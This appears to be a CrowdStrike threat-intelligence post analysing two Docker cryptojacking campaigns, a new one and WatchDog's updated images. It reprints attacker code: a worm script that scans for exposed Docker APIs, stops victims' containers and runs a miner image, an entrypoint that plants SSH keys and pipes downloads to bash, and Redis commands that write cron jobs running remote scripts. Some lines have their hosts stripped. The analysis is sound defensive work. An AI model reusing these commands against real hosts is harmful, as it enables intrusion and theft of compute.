New Docker Cryptojacking Attempts Detected Over 2021 End-of-Year Holidays

Cryptocurrency mining has become very popular among malicious actors that aim to profit by exploiting cloud attack surfaces. Exposed Docker APIs have become a common target for cryptominers to mine various cryptocurrencies. According to the Google Threat Horizon report published Nov. 29, 2021, 86% of compromised Google Cloud instances were used to perform cryptocurrency mining. Various cryptomining groups such as Kinsing, TeamTNT, WatchDog and others have successfully run the campaigns against the exposed cloud attack surface to profitably mine the cryptocurrency Monero.

Exposed Docker APIs

Docker is the platform for building, running and managing containers. Like most software platforms, Docker provides a number of APIs to help developers with automation. These APIs can be made available using local Linux sockets or daemons on choice of port (default port is 2375).

Docker is primarily used to run the container workloads in the cloud, since it is easy to misconfigure underlying cloud instances to be exposed to the internet. By design, Docker APIs can be exposed to the cloud. Most of these exposed Docker APIs are configured to allow anonymous access providing privileged access to the host. Not only that, the most popular container orchestration Kubernetes uses Docker as a runtime. (Recently, Kubernetes has standardized the container runtime with CRIO deprecating Docker.)  

The tactics, techniques and procedures (TTPs) required for exploiting the exposed Kubernetes and Docker containers are well documented and publicly available for use. The attackers look at this attack surface as a publicly available free compute that can be used for opportunistic crypto currency mining (cryptojacking). That’s why CrowdStrike has observed numerous attempts by various cryptomining groups to exploit these attack surfaces. 

New Cryptocurrency Mining Campaign Kick-starts on Christmas

During the last two weeks of 2021, a new cryptomining campaign was observed targeting exposed Docker APIs. At the same time, WatchDog, a known cryptomining group, updated its TTPs for the attack. Let’s take a closer look at both developments.

While there are many long-running campaigns by various known cryptomining groups targeting exposed Docker APIs and Kubernetes to mine cryptocurrency, from time to time a new group or campaign emerges attempting to do the same.

CrowdStrike Engineering researchers recently observed a new campaign targeting the exposed Docker APIs to mine cryptocurrency Monero. This campaign uses two new images from a Docker account to run the malicious containers. The new images were updated and deployed on Dec. 25, 2021 to begin the campaign targeting exposed Docker APIs.

Figure 1. Malicious images by new campaign

Technical Details

The two malicious images used in this cryptocurrency mining campaign are very similar and make use of almost the same components. The entrypoint of the image given below is pointed to “,” which does numerous checks and sets up the cryptomining operation within the container.

docker -H $1:2375 run -itd –restart=always –name applinefasd acgngame/fnxb /etc/docker_exp/

Malicious Entrypoint

Below is the summary of each script that is used after executing Entrypoint and its function:

1. Calls using bash

2. Calls number of scripts successively to do the various jobs in order to set up a mining operation. As shown below, scripts are executed in sequence.

sleep 72h
while true
sleep 120

Entrypoint script

3. Deletes existing files before running the miner

4. Runs the miner using the xmrig binary and provides following wallet address as an argument; wallet address:


5. Makes sure that only one instance of the miner is running

6. Stops all other containers apart from the attacker’s mining container

7. Installs mass scanner if it doesn’t exist which is network scanning tool like nmap

8. Scans predefined IP ranges, attacker has configured 4162 IP ranges as part of this script

9. and Probe in parallel for Docker APIs and saves results based on responses. The following code shows a text file “after.txt” is created with curated IPs for further attack:

status_code=$(curl -I -m 10 -o /dev/null -s -w %{http_code} http://$1:2375/)
echo $status_code $1
if [ "${status_code}" -eq "404" ];then
	echo $1 >> /etc/docker_exp/after.txt

9. and Runs malicious container on IPs determined in earlier step

names=$(docker -H $1:2375 images)
result=$(echo $names | grep "${myimages}")
rongqis=$(docker -H $1:2375 ps -aq)
if [[ "$result" != "" ]]
	echo 有了
	docker -H $1:2375 stop $rongqis
	docker -H $1:2375 rm -f $rongqis
	docker -H $1:2375 pull acgngame/fnxb
	docker -H $1:2375 run -itd --restart=always --name applinefasd acgngame/fnxb /etc/docker_exp/
	echo success

10. Clears generated IP lists

The Newbie Attempt

As discussed earlier, this campaign uses malicious images consisting of a number of malicious Bash scripts that jumpstart the cryptominer, and then scans and exploits new attack surfaces. This campaign’s initial aim seems to be setting up and running a mining operation rather than being sophisticated, but in the future the actor behind the campaign can innovate or borrow from its peers to add more sophisticated techniques. Currently, this campaign doesn’t include many techniques used by similar campaigns; as a few examples, these images don’t:

  • Attempt to break out of the container for persistence or to create a backdoor
  • Use any command-and-control (C2) for distribution, to exfiltrate (data, credentials or keys) or to update, which limits the spread of the images
  • Target Kubernetes or misuse its features unless Docker APIs are exposed
  • Use any rootkit or other components from commodity malwares (for example, Kinsing’s use of the BUERK rootkit)
  • Attempt to disguise or hide their operation or optimize it for mining

Figure 1 shows the performance of malicious Docker images, where a spike in hashrate was observed when the new images were initially deployed. But the hashrate drops significantly as the malicious images fail to grab and maintain the container attack surface, although a payout was observed from this attempt, as shown.

Figure 1. Performance of malicious Docker images (Click to enlarge)

Figure 2. Malicious Docker image performance (fails to grab attack surface)

WatchDog’s Updated Images Targeting Docker, Redis and PostgreSQL

WatchDog is an infamous cryptomining group that targets Docker APIs and numerous other attack surfaces to mine Monero. It was discovered by Palo Alto earlier last year.

As you can see in Figure 3, CrowdStrike observed that WatchDog updated its malicious images just a couple of weeks before the year-end holidays. Figure 4 shows, multiple scripts were also updated on the Command and Control server used by WatchDog.

Figure 3. Updated Docker images by WatchDog

Figure 4. C2 WatchDog (updated 12/6/2021)

From data CrowdStrike has collected from various sources, both malicious images spread notably in the wild, representing a collective share of 25% of all in-the-wild images seen in the final two weeks of 2021 which is shown in Figure 5 below.

Figure 5. ITW image distribution

Technical Details

The new malicious images have focused simply on cryptomining using xmrig and scanning to find new attack surfaces. The additional functionality seen in the older version of the image seems to be missing or is being used in the second phase of the discovery.

1. Entrypoint

The following code block shows the image entrypoint which launches a Bash script “.system” that subsequently installs necessary packages and further executes multiple binaries including xmrig for cryptomining.

export LC_ALL=C.UTF-8
export LANG=C.UTF-8 

ping -c 3 -w 5 2>/dev/null 1>/dev/null
if [ $? != 0 ];then
    sed -i 's/' /etc/apk/repositories  
mkdir -p /var/tmp/.apache/...

apk update
apk add redis docker jq libpcap-dev openrc curl --no-cache

cd /var/tmp/.crypto/...

cd /var/tmp/.apache/...

cd /usr/share/.apache/...
sleep 60

2. Use of proxy pool with httpd-crypto

This binary sets up and executes xmrig as “.ddns”. At the same time, it downloads from a C2 server the “reg4.tar.gz” file, which is actually a JSON file holding the configuration for xmrig. This file further indicates the use of a cryptomining proxy pool to help hide the actual crypto wallet addresses, so we cannot be sure who is benefiting from this campaign, but attribution is discussed in the following sections.

Figure 5. Xmrig binary execution as “.ddns”’ with the reg4.tar.gz config file pointing to a proxy pool (Click to enlarge)

3. /usr/share/.apache/httpd (scans for Redis, PostgreSQL and Docker APIs)

As shown in Figure 6, this binary executes a Bash file(apache4) that launches the disguised massscan binary. It is stored on the image as “/bin/apache2.”

Figure 6. httpd binary launches apache4

The disguised masscan binary scans for ports 5432, 6379, 2375 and 2376 (PostgreSQL, Redis and Docker) to launch phase two of the attack.

  • If a vulnerable Docker API is found, it launches an Alpine base image with host root mount and malicious Base64-encoded entry point. The following code block shows a decoded entrypoint which downloads further scripts from C2 server to mine cryptocurrency.
ssh-keygen -N "" -f /tmp/TeamTNT
mkdir -p /root/.ssh
chattr -R -ia /root/.ssh/ 2>/dev/null; tntrecht -R -ia /root/.ssh/ 2>/dev/null; ichdarf -R -ia /root/.ssh/ 2>/dev/null
cat /tmp/ >> /root/.ssh/authorized_keys
cat /tmp/ > /root/.ssh/authorized_keys2
rm -f /tmp/
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i /tmp/TeamTNT root@ "(curl||cd1||wget -q -O-||wd1 -q -O-|bash"

Base64-decoded malicious entry point

  • If a vulnerable Redis instance is found, then cron jobs are scheduled to mine cryptocurrency and pivot, as shown below:
config set dbfilename "backup.db"
config set stop-writes-on-bgsave-error no
set backup1 "\n\n\n*/2 * * * * cd1 -fsSL | sh\n\n"
set backup2 "\n\n\n*/3 * * * * wget -q -O- | sh\n\n"
set backup3 "\n\n\n*/4 * * * * curl -fsSL | sh\n\n"
set backup4 "\n\n\n*/5 * * * * wd1 -q -O- | sh\n\n"
set backup5 "\n\n\n*/5 * * * * wdz -q -O- | sh\n\n"
set backup6 "\n\n\n*/2 * * * * cdz -fsSL | sh\n\n"
config set dir "/var/spool/cron/"

Redis malicious cron job setup

  • In the case of postgreSQL, the script only scans and saves detected postgreSQL instances

We consider this to be the second phase of the attack, where wormlike behavior is used for discovery of multiple attack surfaces like Docker, Redis and PostgreSQL and for further exploitation.

4. /var/tmp/.apache/httpd

This is a pivot binary that launches “/bin/httpd” and “/bin/httpd_crypto” from the base image.

5. Crypto Wallets

As discussed, the campaign used proxy mining pools to hide actual wallet addresses, but the second phase of the attack and retrieved wallet addresses from the C2 server (command and control – 104.192.82[.]138) suggests it’s a WatchDog campaign. The wallet addresses are actively being used to mine and transfer Monero, as shown below.

Wallet addresses: 


Figure 7. Active campaign by WatchDog (Click to enlarge)


Cryptocurrency mining has benefited cryptomining groups that aim to profit by targeting public cloud attack surfaces. Multiple crytoming groups are competing with each other to grab this attack surface first. As we have seen, from time to time a new mining campaign emerges to profit from this operation  But the effectiveness of the campaign depends on the TTPs being used. Meanwhile, mature mining groups like WatchDog continue to evolve their tools and techniques to maintain the hashrate and their profitable operation.

How to Protect Against Exposed Docker APIs

To protect yourself from above attacks, you can make use of following tips:

  • Use authentication to protect your Docker API
  • Use Zero Trust policies to control egress and ingress access to your workloads
  • Add image scanning in your CI/CD pipeline to know the vulnerabilities or malicious binary presence
  • Use a trusted base image for your application
  • Use tools which can identify indicators of misconfiguration (IOM) for Docker and Kubernetes in addition to cloud provider

CrowdStrike Protection

The CrowdStrike Falcon® platform detects malicious images at the pre-deployment stage using registry scanning where users can stop the image deployments. CrowdStrike also protects its customers with it’s runtime protection and cloud machine learning models from any post-exploitation activities. As shown in Figure 7, a malicious mining process was killed by the CrowdStrike machine learning model. Figure 8 additionally shows the origin of the process and container information using CrowdStrike Threat Graph®.

Figure 7. CrowdStrike Cloud-based ML killing a malicious container process (Click to enlarge)

Figure 8. CrowdStrike Threat Graph for the malicious process (Click to enlarge)

Note: At the time of writing, the “docker72590/alpine:latest” image had been updated by the malicious actor.

Additional Resources

Related Content